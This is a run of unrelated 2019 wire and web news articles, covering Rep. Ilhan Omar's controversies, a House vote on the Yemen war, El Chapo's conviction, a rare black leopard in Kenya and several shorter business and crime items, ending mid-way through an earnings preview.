[Rep.] Kevin McCarthy has regularly railed against George Soros, a now-standard anti-Semitic dog whistle that, along with racist mailers, was common Republican campaign material in last years election. After the Pittsburgh shooting McCarthy deleted his Soros-related tweets, and still enjoys his position as the House minority leader. The question, then, is: Why is Omar being held to a much different standard? Writer and professor Keeanga-Yamahtta Taylor maintains that it is because Omar is unapologetically and visibly Muslim. She also supports calls to raise taxes on the highest earners in the country and, as a Somali refugee, she sits in the middle of a Venn diagram of groups deeply maligned by conservatives.  Luke Darby, GQ

If Trump and the right wanted to fight anti-Semitism, theyd do more than rebuke Omar.

Whatever American Jews might feel about Omars comments, none of us should be tricked into thinking theres a serious attack underway on American antisemitism. Instead, people who have demonstrated their comfort with malicious antisemites, and willingness to deploy antisemitic tropes when it suits them, are seizing on a perceived slight and inflating it for their own purposes.  Rafi Letzter, The Independent

Omars comments reveal a lack of understanding about the U.S. and Israel.

Beyond the offensive nature of the whole ordeal, Omars comments betray a serious misunderstanding about what makes support for Israel such a potent political current in the United States. Conspiracy theories often tell us what we want to hear, and its convenient to view ones ideological rivals as mindless drones who can be activated on command or with payment. If only the puppet masters could be overthrown, the whole system would come crashing down. But the reality is more complicated, and it does the Palestinians no favors to embrace an overly simplistic outlook that sees American Israel lobby money as the lynchpin holding the occupation in place.  Evan Gottesman, Haaretz

VideosWASHINGTON  We are all Americans, Rep. Ilhan Omar said Sunday after the president tweeted an inflammatory video about her last week. This is endangering lives. It has to stop.

But it hasnt.

Monday morning, President Donald Trump was complaining about Omars anti-Semitic, anti-Israel and ungrateful U.S. HATE statements.

She is out of control, he tweeted.

Since becoming one of the highest-profile, and most controversial, members of the House freshman class, Omar has sent a message that she will not be cowed  even as shes apologized for some missteps.

"The Great State of Minnesota, where we dont only welcome immigrants, we send them to Washington," she tweeted at Trump as he traveled to her state Monday.

But shes in unprecedented territory as the U.S. Capitol Police were ordered to conduct a "security assessment" to ensure her safety following Trumps Friday tweet about a remark Omar made regarding the 9/11 terrorist attacks. She said "some people did something" in reference to the Sept. 11, 2001, attacks that killed nearly 3,000 people.

Omar said death threats against her have spiked as a result of Trumps WE WILL NEVER FORGET! tweet above a video of Omar's remarks repeated along with ominous music, played over images of the World Trade Center engulfed in flames.

This month, a New York man was arrested for threatening Omar and saying he would "put a bullet" in her "skull."

"She is strong. She is determined. She is also concerned," Rep. Karen Bass, D-Calif., told reporters Monday.

Outsized attention

Even before the recent controversy, Omar  along with Reps. Rashida Tlaib and Alexandria Ocasio-Cortez  received an outsized share of the attention of the new members of Congress.

They represent the new voices, diversity and progressive energy of the Democratic class, celebrated in a February "SNL" skit on the Women of Congress that included all three lawmakers.

Story continues

Portrayed by a comic actress on "Saturday Night Live" as Ilhan 'Get the hijab done Omar, she was shown curling her biceps, scaling the side of a building with her bare hands and boasting about being a proud Muslim woman and a proud American.

"I think thats a pretty accurate portrayal," said Andrew Johnson, a Minneapolis city council member whom Omar previously worked for as a policy aide and campaign manager. "Ilhan is not somebody who is going to be told to keep quiet. Shes a strong, independent leader."

But Republicans have been quick to highlight her stumbles, hoping that helps them paint the Democratic Party as scary radicals.

House Dems have gone CrAzY! the campaign arm of House Republicans said in one of the many criticisms of Omar and her cohorts unleashed earlier this year.

Trump's previous attacks

Trump had previously said Omar should resign from Congress or at least step down from the House Foreign Affairs Committee for comments that were criticized for anti-Semitic tropes.

"Her lame apology  and that's what it was; it was lame, and she didnt mean a word of it  was just not appropriate," Trump said.

Omars election was seen in part as a rebuke to Trump and his controversial order limiting travel into the United States from several countries  most of them majority-Muslim. After fleeing civil war-torn Somalia with her family when she was 8, Omar spent four years in a refugee camp before moving to the United States. She has said she gained her interest in politics from interpreting for her grandfather at Democratic-Farmer-Labor meetings in Minneapolis.

This new diversity creates some uncomfortableness, Omar said in February during remarks on reclaiming religious freedom at the liberal Center for American Progress. Oftentimes, as a society, when we are the most uncomfortable is when real shift happens.

Lots of "firsts"

Besides being one of the first two Muslim women in Congress, the Minnesotan is also the first to wear a hijab on the House floor and the first Somali-American and first naturalized citizen from Africa to serve in Congress.

People just add on extra 'firsts' that are not real, Omar joked to host Trevor Noah in a recent appearance on "The Daily Show."

That was not her first time on the show. Shed already received extensive media coverage, including a 2017 cover of Time magazine, before coming to Washington. The documentary Time for Ilhan, which premiered last year, chronicles the former community organizers 2016 election to the state legislature. She was not only the first Somali American elected to a state legislature, but she also beat one of her party's longest-serving members to win the nomination.

Johnson, the Minneapolis city council member, said he knew she was unique when he first hired her to run his own campaign. It's only the speed at which she jumped onto the national stage that's been surprising.

"She was, and is, a reaction to Donald Trump," Johnson said. "In many ways, the times picked her."

"This is what America looks like"

In January, she signed a deal to publish a memoir entitled "This is what America Looks Like."

That was also her response in December to conservative pastor and commentator E.W. Jackson, who complained that Congress is now going to look like an Islamic republic after Democrats lifted a ban on wearing head coverings on the House floor to accommodate Omars hijab.

Well sir, the floor of Congress is going to look like America, she tweeted. And youre gonna have to just deal.

Rep. Ruben Gallego (D-NM), left, and Rep. Eric Swalwell (D-CA), right, share a laugh as with Rep.-elect Ilhan Omar (D-MN) holds Swalwell's daughter during the first session of the 116th Congress at the U.S. Capitol on Thursday.

At an event in January announcing the introduction of legislation to repeal Trumps Muslim travel ban, Omar noted that shes one of the few people in positions of power who are affected by the ban.

Any legislation to block the ban that passes the Democratic-controlled House would likely get stopped in the GOP-controlled Senate. But Hoda Hawa, director of the Washington office of the Muslim Public Affairs Council, said that Omars and Tlaib's elections to Congress show progress.

That, in itself, I would count as a success, Hawa said.

Interparty tensions

Omar and Tlaib are both advocates for top progressive priorities such as a single-payer health care system and the Green New Deal unveiled by Ocasio-Cortez  fodder for the GOP campaign to cast them as socialists.

If you look at the new crop of Democrats, many of them are from purple districts. But the reality is that the more outspoken members of the new caucus are more progressive than your average new Democratic member, said Democratic strategist Brad Bannon. Theres going to be tension.

In fact, more than two dozen Democrats  many from competitive districts  sent a letter to House leaders in February asking them to address and condemn "recent anti-Semitic rhetoric."

Omar and Tlaib were already under pressure for their pushback against Israel. Tlaib, who still has relatives in Palestine, wants to take lawmakers to the Israeli-occupied West Bank to counter regular trips to Israel paid for by the education arm of the American Israel Public Affairs Committee.

Both Tlaib and Omar support applying economic pressure to change Israeli policy towards the Palestinian population.

"It's a little frustrating because those two get more press attention than everyone else combined," Ann Lewis, co-chair of the newly-formed Democratic Majority for Israel told The Forward in January.

And that was long before Omars recent comments that prompted Trumps tweeted video.

Past apologies

Shed already apologized for tweeting in 2012 that Israel had hypnotized the world, her reaction to a resurgence of the longstanding conflict between Israel and the Palestinian group Hamas.

Democratic leaders had stood by Omar, rejecting Republican charges of anti-Semitism. That changed when Omar tweeted in February about the influence of the American Israel Public Affairs Committee in a way that fellow Democrats said used offensive anti-Semitic tropes and "prejudicial accusations about Israels supporters."

Its all about the Benjamins baby, she tweeted.

She "unequivocally apologized," but still reaffirmed "the problematic role of lobbyists in our politics, whether it be AIPAC, the NRA or the fossil fuel industry."

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The fact that Omar apologized demonstrates that she realizes theres a learning curve in terms of public discourse, said Peter Gottschalk, a religion professor at Wesleyan University who has written about Islamophobia.

There are Americans who are not as familiar with the themes and tropes of anti-Semitic comment that have long existed in this country, he said, just as there are Americans who not familiar enough with the themes and tropes of Islamophobic sentiment that has also existed for very long in this country.

Rep. Ilhan Omar, D-Minn.

9/11 comments

Last week, conservatives sharply criticized Omar, for her some people did something reference to 9/11 when speaking at a March 23 Council on American-Islamic Relations event in Los Angeles.

Omar's critics accused her of trivializing and minimizing the tragedy. Her defenders said those critics were ignoring the context of the speech in which she said Muslim Americans are treated as second-class citizens and have been punished collectively for the terrorist attacks committed by a small minority who share their faith.

Unlike some of her past comments, Omar has nothing to apologize for in this instance, said Bass, the California congresswoman who heads the Congressional Black Caucus. She and other members of the caucus told reporters Monday that the party has Omar's back.

"There are always going to be a few who do not," said Rep. Marcia Fudge, D-Ohio. "But the vast majority of us do stand with her."

Refusing to be silenced

Omar said her critics charge that shes anti-American or not an American first is a "dangerous incitement, given the death threats I face."

While emphasizing that We are ALL Americans!, Omar also asserted: I did not run for Congress to be silent.

When Omar appeared on "The Daily Show," Noah asked her about whether theres a fear that she, Tlaib and Ocasio-Cortez are troublemakers who are here to cause chaos.

Are you? he asked.

Omar responded that she and her colleagues are ready to throw down on behalf of the American people. And she appeared to enjoy the suggestion that she's threatening to some people.

They could hear us," she said, as the audience cheered, "coming from afar."

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This article originally appeared on USA TODAY: Who is Rep. Ilhan Omar, the Muslim lawmaker Donald Trump loves to attack?WASHINGTON  The House easily approved a measure Wednesday that would force the Trump administration to end its military support for the Saudi-led war in Yemen.

The vote was a sharp rebuke to Saudi Arabia for its conduct in that conflict and a push-back against the Trump administration's close ties to the kingdom.

The 248-to-177 vote also served as a stinging condemnation for the Saudi government's role in the murder of Jamal Khashoggi and highlighted the growing appetite in Congress for reasserting itself on foreign policy.

"It's historic," said Rep. Ro Khanna, a California Democrat who authored the measure, which invokes Congress' authority under the 1973 War Powers Act. He noted that Congress has never before approved a resolution using that Vietnam-era law, which was designed to limit the president's power to start or escalate military engagement.

"It shows the gravity of whats going on in Yemen  that the first time were doing this is against Saudis brutal bombing campaign in one of the worlds greatest humanitarian catastrophes," Khanna said.

Republican opponents of the Yemen resolution said it would give Iran a green light to spread its influence in Yemen and set a dangerous precedent by stretching the War Powers' definition of military engagement.

GOP lawmakers noted that the Trump administration already halted its refueling of Saudi jets last fall. They argued that the U.S. role now  which involves providing logistical, intelligence and targeting assistance  did not amount to using American military force.

"U.S. armed forces are not engaged in hostilities" in Yemen, said Rep. Michael McCaul, the top Republican on the House Foreign Affairs Committee. He said the measure is aimed at removing troops "that simply are not there."

McCaul and others also argued that ending American targeting assistance to the Saudis would only worsen civilian casualties.

"It does not address the humanitarian catastrophe inside Yemen and completely ignores the destabilizing role that Iran is playing" in the region, McCaul said.

Story continues

The war in Yemen is a proxy battle between Saudi Arabia and Iran, as the two regimes battle for influence in the region. The Saudis, along with the United Arab Emirates, are engaged in a brutal conflict against the Iranian-backed Houthi rebels. The war has exacted a horrific toll on the Yemeni people, with more than 50,000 civilians killed and millions on the brink of starvation.

House Foreign Affairs Chairman Eliot Engel, D-N.Y., said there have been 18,000 airstrikes, with one-third of them hitting non-military targets.

"Starving children, millions displaced, outbreaks of deadly disease," Engel said during Wednesday's House floor debate. He agreed with GOP opponents that countering Iran's influence in Yemen was important, but said it did not merit supporting a "reckless" Saudi-UAE bombing campaign.

"We cannot just give the coalition a blank check when so many lives are being lost," Engel argued.

Although most House Republicans voted against the measure, the GOP successfully amended it to include language stating that it is in Americas national security interest to combat anti-Semitism around the world. The GOP provision comes on the heels of a tweet posted by Rep. Ilhan Omar that many denounced as anti-Semitic.

The resolution will now go the Senate, which passed a similar measure in the last Congress and where proponents are confident of success again. Khashoggi's murder, at the hands of a team of Saudi operatives, has infuriated lawmakers and helped galvanize opposition to the U.S. role in Yemen.

"Khashoggis murder opened up the world's eyes to the barbarity of the regime," Khanna said.

The California lawmaker conceded that Trump could, and probably will, veto the measure. But he noted that if it does pass both chambers, it would still send a strong signal to Saudi Arabia and to the Trump administration since it would be the first time Congress has successfully invoked lawmakers' war powers to challenge U.S. military involvement abroad.

Wednesday's action "fundamentally resets the power relations between Congress and the executive branch when it comes to matters of war and peace," Khanna said.

And even if Trump ignores the resolution, he said, "the Saudis will know their relationship with the United States is on much shakier ground and that theyre going to have to make concessions." A United Nations envoy is currently trying to negotiate an end to the conflict, and proponents of the Yemen resolution argued Wednesday's vote would give momentum to that process.

More: Trump lawyer Rudy Giuliani's side project: Bashing Iran, in Poland

More:

In rebuke to Trump, Senate votes to halt US support for Saudi-led war in Yemen, names crown prince as responsible for Khashoggi death

Saudi crown prince complicit in Jamal Khashoggis murder, key GOP senator says after CIA briefing

This article originally appeared on USA TODAY: In rebuke to President Trump, House approves measure to force U.S. withdrawal from YemenA woman whose hair is five foot and six inches long credits eating a spoonful of peanut butter every day for her exceptionally long locks.

Andrea Stano, 34, who comes from Micronesia and now lives in the US, has strawberry-blonde hair which comes down to her ankles.

While she spends up to 45 minutes a day looking after her crowning glory, she says its her daily spoonful of nut butter which keeps it in prime condition.

I truly believe this step keeps my hair healthy, and helps it to grow faster and thicker, says Stano.

Andrea Stano eats a tablespoon of peanut butter every day. [Photo: Caters]

If I am travelling or forget to eat peanut butter for a week or two, I can always tell a difference.

When I eat peanut butter every day, my hair is easier to comb out and does not fall out as easily when I am brushing it.

Although Stano has never visited a hairdresser for a cut, she does occasionally trim the ends of her hair herself in order to keep them healthy.

As for the rest of her hair care regime, Stano washes her hair twice a week, generally applying a 15 minute moisture mask beforehand.

She also takes daily fish oil and collagen supplements.

Andrea Stanos hair comes down to her ankles. [Photo: Caters]

Whether youre eating it for haircare purposes or just love the taste, peanut butter is big news in the UK.

Last year, sales of peanut butter exceeded traditional jam for the first time ever, according to supermarket data collated by Kantar Worldpanel.

Follow us on Instagram and Facebook for non-stop inspiration delivered fresh to your feed, every day. For Twitter updates, follow @YahooStyleUK.

Read more from Yahoo Style UK:

Can you train your hair to need less washing?

Richard Madden fans go wild for actors grey streak at National Television Awards

Why Meghan Markle never seems to get her hair cutWant to participate in a short research study? Help shape the future of investing tools and you could win a $250 gift card!

Weve lost count of how many times insiders have accumulated shares in a company that goes on to improve markedly. On the other hand, wed be remiss not to mention that insider sales have been known to precede tough periods for a business. So shareholders might well want to know whether insiders have been buying or selling shares in Consun Pharmaceutical Group Limited (HKG:1681).

What Is Insider Selling?

Its quite normal to see company insiders, such as board members, trading in company stock, from time to time. However, such insiders must disclose their trading activities, and not trade on inside information.

Insider transactions are not the most important thing when it comes to long-term investing. But equally, we would consider it foolish to ignore insider transactions altogether. As Peter Lynch said, insiders might sell their shares for any number of reasons, but they buy them for only one: they think the price will rise.

Check out our latest analysis for Consun Pharmaceutical Group

The Last 12 Months Of Insider Transactions At Consun Pharmaceutical Group

In the last twelve months, the biggest single purchase by an insider was when Chairman of the Board Yubao An bought HK$12m worth of shares at a price of HK$7.44 per share. That means that an insider was happy to buy shares at above the current price. Their view may have changed since then, but at least it shows they felt optimistic at the time. Its not at all bad to see insiders buy shares at or above current prices.

Happily, we note that in the last year insiders bought 2.07m shares for a total of HK$15m. Overall, Consun Pharmaceutical Group insiders were net buyers last year. They paid about HK$7.46 on average. Id consider this a positive as it suggests insiders see value at around the current price, which is HK$5.93. The chart below shows insider transactions (by individuals) over the last year. By clicking on the graph below, you can see the precise details of each insider transaction!

Story continues

SEHK:1681 Insider Trading February 13th 19

For those who like to find winning investments this free list of growing companies with recent insider purchasing, could be just the ticket.

Insider Ownership

For a common shareholder, it is worth checking how many shares are held by company insiders. Usually, the higher the insider ownership, the more likely it is that insiders will be incentivised to build the company for the long term. Consun Pharmaceutical Group insiders own about HK$2.7b worth of shares (which is 53% of the company). I like to see this level of insider ownership, because it increases the chances that management are thinking about the best interests of shareholders.

So What Do The Consun Pharmaceutical Group Insider Transactions Indicate?

There havent been any insider transactions in the last three months  that doesnt mean much. On a brighter note, the transactions over the last year are encouraging. Judging from their transactions, and high insider ownership, Consun Pharmaceutical Group insiders feel good about the companys future. If you are like me, you may want to think about whether this company will grow or shrink. Luckily, you can check this free report showing analyst forecasts for its future.

If you would prefer to check out another company  one with potentially superior financials  then do not miss this free list of interesting companies, that have HIGH return on equity and low debt.

To help readers see past the short term volatility of the financial market, we aim to bring you a long-term focused research analysis purely driven by fundamental data. Note that our analysis does not factor in the latest price-sensitive company announcements.



The author is an independent contributor and at the time of publication had no position in the stocks mentioned. For errors that warrant correction please contact the editor at editorial-team@simplywallst.com.Nope, this isn't a Marvel comic book: The black panther made a rare appearance in Africa.

On Monday, the San Diego Zoo confirmed a rare black leopard, sometimes called black panther, was spotted by remote cameras set up as part of a larger study into the populations of the creatures in Kenya.

Then on Wednesday, British wildlife photographer Will Burrard-Lucas released several incredible images showing a closer view of the black leopard, which has a gene mutation called melanism that lets the cat's coat appear black in daylight.

"Regionally, weve heard reports of black leopards living here in Kenya, but high-quality footage or imagery to support these observations has always been missing," said Nicholas Pilfold, a scientist with San Diego Zoo Global, in a statement.

As of 2017, only one sighting of a black leopard had been confirmed, in a 1909 photograph from Ethiopia that sits in the Museum of Natural History in the U.S., per a study on the leopards published last month in the African Journal of Ecology.

In the study, researchers led by Pilfold captured a series of images with cameras stationed near water sources and animal trails in Lakipia County in Kenya. The study shows several pictures of the black leopard taken between February and April 2018.

The study said the collection of photos "are the first reported in nearly 100 years that confirm the existence of black leopard in Africa."

In a blog post published Wednesday, Burrard-Lucas said he used a Camtraptions Camera Trap consisting of a wireless motion sensor, high-quality DSLR camera, and "two or three flashes" during a trip to the Laikipia Wilderness Camp in Kenya.

The traps are left for several days in areas where the leopards are believed to roam.

"As far as I know, these are the first high-quality camera trap photographs of a wild melanistic leopard ever taken in Africa," wrote Burrard-Lucas.

"I can still scarcely believe that this project  which started out as a speculative recce trip  has paid such spectacular dividends!"

Story continues

The zoo said African leopards have been listed as vulnerable on the International Union for Conservation of Natures (IUCN) Red List of Threatened Species. Causes cited by the zoo for dwindling leopard numbers include habitat loss, hunting, competition for prey, and conflict with farmers.

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Follow Brett Molina on Twitter: @brettmolina23.

This article originally appeared on USA TODAY: Rare black leopard captured in incredible photographsSWEETWATER, Tenn. (AP)  A tip from a dying witness led authorities to charge a suspect in a cold-case slaying that has mystified investigators for 46 years, a Tennessee prosecutor said.

A Monroe County grand jury indicted Max Benson Calhoun this month for first-degree murder in the 1973 fatal shooting of John Constant Jr.

Calhoun was arrested last week.

Prosecutor Stephen Crump told news outlets Tuesday the tip came from a witness who was suffering a terminal illness "and wanted to tell what they knew before they passed." He wouldn't identify the witness or give any details about the tip other than to say the story doesn't contradict any of what authorities have suspected for decades.

Calhoun is being held in jail without bond. His lawyer, Jim Logan, said he's eager to see some proof in the case. He said his client will plead not guilty.

Investigators found Constant's body slumped in the cab of his truck in Vonore, Tennessee. He'd been shot at least 17 times.

Richard Fisher, who was the prosecutor when the slaying occurred, told the Knoxville News Sentinel that he always believed several people had a hand in the killing.

Constant, 43, had worked for years as a trucker and told his family he'd been keeping notes on his business dealings, which Fisher suspected included running untaxed cigarettes and stolen merchandise for the loose network of criminals across the Southeast known in those days as the "Dixie Mafia."

"He wasn't a sterling character by any means, but he didn't deserve to die," Fisher said. "You never know when you start walking on that dark side where it's going to take you."

A witness said he saw Constant slumped in the truck with Marvin Ray Pittman, who turned up dead not long after, and another man who he didn't recognize.

A man was arrested in the case more than 30 years ago, but prosecutors dropped charges against Harold Bucker, who says he was set up.

Story continues

"It was all based on lies, and if this one goes to court, I'll get up there and tell it all."

___

Information from: Knoxville News Sentinel, http://www.knoxnews.comNew YorkMexican mobster Joaquin El Chapo Guzman was convicted Tuesday of crimes spanning a quarter-century in a trial that laid bare his lavish lifestyle and penchant for extreme violence as the head of one of the worlds most powerful gangs.

The 61-year-old former boss of the notorious Sinaloa cartelfamed for his brazen escapes from Mexican prisonsfaces life in prison for smuggling tons of cocaine, heroin, methamphetamine, and marijuana into the United States. He was also found guilty on money laundering and weapons possession charges during a three-month trial in which witnesses described the mob boss beating, shooting and even burying alive those who got in his way. The verdict was a tremendous victory for the rule of law, for Mexico, the United States and other countries that have been victims of the Sinaloa cartel, Mike Vigil, former head of international operations for the US Drug Enforcement Administration, told AFP. Chapo Guzman was the worlds greatest drug lord of all time, Vigil added. He surpassed other drug lords, including Pablo Escobar. In a statement, acting US Attorney General Matthew Whitaker said the case demonstrated the extraordinary reach of the US government, our tenacity and commitment to pursuing kingpins like Guzman. In a three-month trial that unfolded like a real-life telenovela, Guzmans ex-henchmen and a former mistress took the stand under the gaze of the stocky gangster, whose nickname is Spanish slang for shorty. His young wife, onetime beauty queen Emma Coronel, showed up almost every day in court to be with her husband. After sentencing on June 25, Guzman is likely to be transferred to a so-called supermax prison in Colorado, sometimes called the Alcatraz of the Rockies and considered one of the most secure in the US. His conviction is seen as a big win for the US, which failed to obtain the extradition of Escobar, the Colombian drug lord who was killed in a police operation in 1993. Guzmans lawyer Bill Purpura said his client had expected the verdict but was a guy who never gives up and had vowed to appeal. Another lawyer for Guzman, Eduardo Balarezo, tweeted his clients conviction will change nothing. El Chapo was arrested in 2014. The war on drugs is a complete failure, he said.During the trial, the government presented 56 witnesses and troves of incriminating material, including intercepted calls between Guzman and his associates, and conversations taped secretly by informants. Some of the most eye-watering testimony came from a former hitman who offered gruesome details about acts of torture and killings of rivals personally carried out by his then boss.Isaias Valdez Rios told the court he saw Guzman leave one captivea rival from the Arellano Felix cartelin a chicken coop for two days. After two interrogations, Guzman shot the man, before ordering him buried alive. On another occasion, the court heard, Guzman beat two members of the Zetas cartel with a thick tree branch until their bones were broken before shooting them dead. Guzman was not on trial for murder, but federal prosecutors attempted to depict him as a violent and ruthless man, ready to do anything to protect his business. Former employees testified that the cartel paid bribes of millions of dollars at the highest levels of government, including to former President Enrique Pena Nieto, who denies the allegation. The trial also offered a glimpse at the opulent lifestyle led by Guzman, who grew up in poverty. His former pilot and former cartel manager for Mexico City testified that Guzman had four airplanes, numerous houses including a mansion in Acapulco, a yacht named Chapito and a ranch that included a zoo and a small railway.In his closing arguments late last month, another of Guzmans lawyers, Jeffrey Lichtman, asked the jury not to convict on the basis of the garbage testimony of government witnesses. Lichtman contended that Guzman was merely a scapegoat, and that the real culprit in the drug trafficking operations was Ismael El Mayo Zambada, the co-founder of the Sinaloa cartel. Mayo has been the largest narcotrafficker for decades in Mexico. He has never been arrested. He has paid hundreds of millions of dollars to stay free, Lichtman said. The government, meanwhile, appealed to the jury not to let Guzman escapean allusion to his two spectacular jail breaks in Mexico, the last in 2015 through a tunnel from a shower area in his cell. The defense called just one witness, an FBI agent put on the stand in an attempt to undermine the credibility of one of Guzmans cocaine suppliers who had testified against him. The defenses strategy centered on attacking the credibility of the cooperating witnessesformer secretaries, pilots, cocaine suppliers, Guzmans top trafficker in the United States, a manager, an accountant, a former communications chief and a former lover. Most are serving prison sentences and hoped to have their penalties reduced in return for their cooperation with prosecutors.PARIS (Reuters) - France will invest 700 million euros ($790 million) over the next five years into projects to boost the European electric car battery industry and reduce its carmakers' reliance on dominant Asian rivals, said French presidency officials.

In a speech to the Paris-based International Organisation of Motor Vehicle Manufacturers later on Wednesday, President Emmanuel Macron will unveil his strategy to help the French car industry fend off competition on electric vehicles (EV) and autonomous cars from Asian and U.S. tech giants.

The plan comes after Germany in November set aside 1 billion euros to support battery cell production to reduce dependence on Asian suppliers and shore up jobs at home that may be at risk from the shift away from combustion engines.

French officials said the two European countries will work on Franco-German initiatives, at a time when their countries' carmakers are waking up to the threats posed from relying on Chinese suppliers in an age of international trade wars.

"For a long time, European carmakers considered it was not up to them to develop battery production," a French official said.

"Now, those advocating for an international division of labor are forced to realize that trade war exists," added the official.

While some carmakers assemble battery packs, Europe has no significant production of their constituent cells - currently dominated by a handful of firms including China's CATL and Korean rivals LG Chem and Samsung

"China has a very aggressive strategy to eventually dominate the electric vehicle universe by starting from electric batteries all the way up the value chain," the official said.

Peugeot-maker PSA threw its support behind efforts to create a European manufacturer of electric car batteries in March last year.

Domestic rival Renault, which sources electric-car batteries from LG Chem, also said it could buy cells from a European supplier as production of electric vehicles ramps up.

Story continues

"We're noticing a realization among carmakers that tomorrow's competition will require a local battery industry," the French official said.

Macron's plan will also include facilitating the construction of electric vehicle (EV) charging points, giving more visibility to carmakers about electric vehicle bonuses for consumers and increasing the government's EV purchasing targets.

(Reporting by Michel Rose; Editing by Sudip Kar-Gupta/Laurence Frost)Members of Fire and Rescue erect a gazebo outside an address in Exeter where the body of a man aged 80 was found on Monday afternoon. (Pic: PA)exet

Police have arrested a 27-year-old man on suspicion of murder after the bodies of three men in their 80s were found in two properties in Exeter.

The deaths of the three men, one aged 80 and two aged 84, are being treated as suspicious and are being formally linked, a Devon and Cornwall Police spokesman said.

The body of an 80-year-old man was found at an address in Bonhay Road at around 3pm on Monday and the bodies of the two 84-year-old men were found after officers were called to a property in Cowick Lane at 1pm on Tuesday.

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One neighbour in Cowick Lane said the two men found dead were twins.

Police arrested the suspect on Tuesday and he remains in police custody.

Superintendent Matt Lawler, the forces local policing commander for Exeter, East and Mid Devon, said: I know that this news will cause significant and understandable concern and is an unprecedented event in our city which has shocked us all.

MORE: Why therell be no escape for El Chapo in the prison of all prisons known as the Alcatraz of the Rockies

MORE: Iranian admits stabbing wife to death after she refused to support immigration application to remain in UK

I know that everyones immediate thoughts will be with the family and friends of these gentlemen, and as you would expect, we are providing as much support as we can to them.

The investigation is being led by our major crime investigation team, supported by local detectives, forensic staff, family liaison officers, and an extensive range of other specialists who have been working around the clock since Monday afternoon.

Residents in the area of both Bonhay Road and Cowick Lane will continue to see police cordons today as we continue vital work. The local neighbourhood team will be out on foot over the next few days in order to provide advice, support, and to answer questions.

The overgrown garden at an address in Exeter, where the body of a man was found. (PA Images)

While a man has been arrested on suspicion of murder in relation to these incidents, we must keep an open mind and avoid speculation as we are still in the very early stages of what is already a complex investigation.

Story continues

We have therefore issued an appeal for information from the public and for any potential witnesses who were in either area during specific times. It is vital that anyone who has any information shares with us it as soon as possible.

Police urged anyone in the area of Bonhay road and Cowick Lane between 8am on Sunday 10 February and 1pm on Tuesday 12 February to get in touch.

Watch the latest videos from Yahoo UKOne night in February 1993, Frankie Caruso and another white Baton Rouge detective darkened their faces to impersonate black drug dealers, as part of what was then characterised as a successful sting operation.

Twenty-six years later, a photo of the two officers has emerged from an old police yearbook, with the caption Soul brothers. The blackface operation, which current officials said had been approved by the Police Department, drew swift condemnation this week from the citys mayor and its police chief.

Blackface photographs are inappropriate and offensive, Police Chief Murphy J Paul Jr said in a statement on Monday. They were inappropriate then and are inappropriate today. The Baton Rouge Police Department would like to apologise to our citizens and to anyone who may have been offended by the photographs.

Reached by phone, Mr Caruso, who retired in 2015 after more than 33 years with the department, however, was unapologetic. He said that while he understood racism better today  and that in 1993 he did not know the term or history of blackface  he did not think the disguise was inappropriate.

We did nothing wrong, Mr. Caruso said. We did a good operation. We made a lot of arrests in a neighborhood that was needing attention. Thats all there is to it.

A national debate about the practice of blackface has erupted in recent weeks after a racist photograph surfaced on a medical school yearbook page belonging to Ralph Northam, now the governor of Virginia. Mr Northam denied appearing in that photo, but admitted to darkening his face another time.

With roots in demeaning minstrel-show traditions that date to the 1830s, blackface has a long history in American society.

At least one other report exists of a police department approving a law enforcement operation in blackface. United Press International reported in 1990 that white police officers in Naples, Florida, used blackface to pretend to be black crack cocaine dealers.

Story continues

Robert J Louden, a professor emeritus of criminal justice and homeland security at Georgian Court University in New Jersey, said that he did not believe the practice is or was widespread. Thats in part because blackface could put undercover officers in danger if a potential drug buyer notices the disguise.

Its foolish and its dangerous, he said.

Jeannette Eileen Jones, a professor of history and ethnic studies at the University of Nebraska, Lincoln, said it was a symptom of a failure to recruit more black officers. Baton Rouge, Louisianas capital, is among the last cities in the state to remain under a federal decree intended to decrease discrimination against women and black applicants for the police and fire departments, The Advocate newspaper reported last year.

Youre claiming to take on someone elses racial traits, and given the history of blackface in the United States and its origins, I cant understand why anyone thinks thats OK, Ms. Jones said. It is simply about mocking and exaggerating and stereotyping an entire group of people.

On Monday evening, Sharon Weston Broome, the mayor-president of Baton Rouge, said in a statement that blackface is more than just a costume and that it invokes a painful history in this country and it is not appropriate in any situation.

While this may have been department-approved 25 years ago, that does not make it right, she said.

The plan on the night in question in February 1993 was to have two white detectives, including Mr. Caruso, pretend to deal crack cocaine in a predominantly black neighborhood in Baton Rouge that had a high rate of street-level drug crime. Mr. Caruso said the narcotics team did have two black detectives, but their faces were known in the neighborhood.

The sting operation was also detailed in a 1993 article in The Advocate.

Mr Caruso likened using the disguise to preparing for other undercover assignments, like dressing as a biker or a prostitute.

Asked if he thought he was stereotyping black people, he said that he did not think he was, and that he was not intending to hurt anyone.

We dressed up for the assignment that we were working, he said.

In 2007, a photo of the two detectives was published in a police yearbook, according to a police spokesman.

Chief Paul said he found out about the photograph this week after it started circulating on social media.

Today, we would not allow our officers to wear blackface in an official capacity under any circumstances, Chief Paul said in the statement.

He said the department is bound by the Louisiana Law Enforcement Bill of Rights, which places a timeline on administrative investigations related to officer conduct.

One of the two officers is still with the department, the police spokesman said. He said the Baton Rouge police did not plan to further investigate the photograph or discipline the officer.

Mr Caruso said that in todays times, people are trying to look at anything that they can to make a race issue out of something.

So, would he use blackface in a drug operation today?

Because of the way everything in the world today is with race, and everybody talking about race relations and blackface, and all these things that theyre talking about right now, he said, I probably would not do it today.

The New York TimesPilgrim's Pride Corporation PPC is scheduled to release fourth-quarter 2018 results on Feb 13, after market close. The companys earnings have lagged the Zacks Consensus Estimate in three out of the trailing four quarters, with average negative surprise of 14%. Lets see how things are placed ahead of the upcoming quarterly results for this renowned food company.



Strong European Unit & Other Growth Efforts



Pilgrim's Prides European business is expanding on the back of gains from acquired operations as well as focus on diversification into new markets. The region is also gaining from a strong business model, robust customer relationships as well as better synergy capture. Moreover, efforts such as capacity optimization and expansion are likely to continue boosting revenues in this unit.



Further, the companys customer centric approach has enabled it to come up with unique offerings that provide it competitive advantages. In fact, its focus on key customers is aiding portfolio refinement and creating competitive advantages over peers. Progressing on such lines, the company is expanding in the fresh food offerings space.

In fact, the launch of fresh chicken products under the premium Pilgrim's brand is receiving favorable consumer response. Further, the company is on track to expand gluten-free products as well as to grow in the alternative protein products space, such as plant-based protein.



Apart from this, Pilgrims Pride is steadily augmenting marketing support of brands as they expand and enter new regions. Additionally, the company resorts to frequent supply chain improvements to enhance efficiency and reduce costs.

Pilgrim's Pride Corporation Price, Consensus and EPS Surprise

Pilgrim's Pride Corporation Price, Consensus and EPS Surprise | Pilgrim's Pride Corporation Quote

Market Volatility & High Costs Likely to Dent Performance



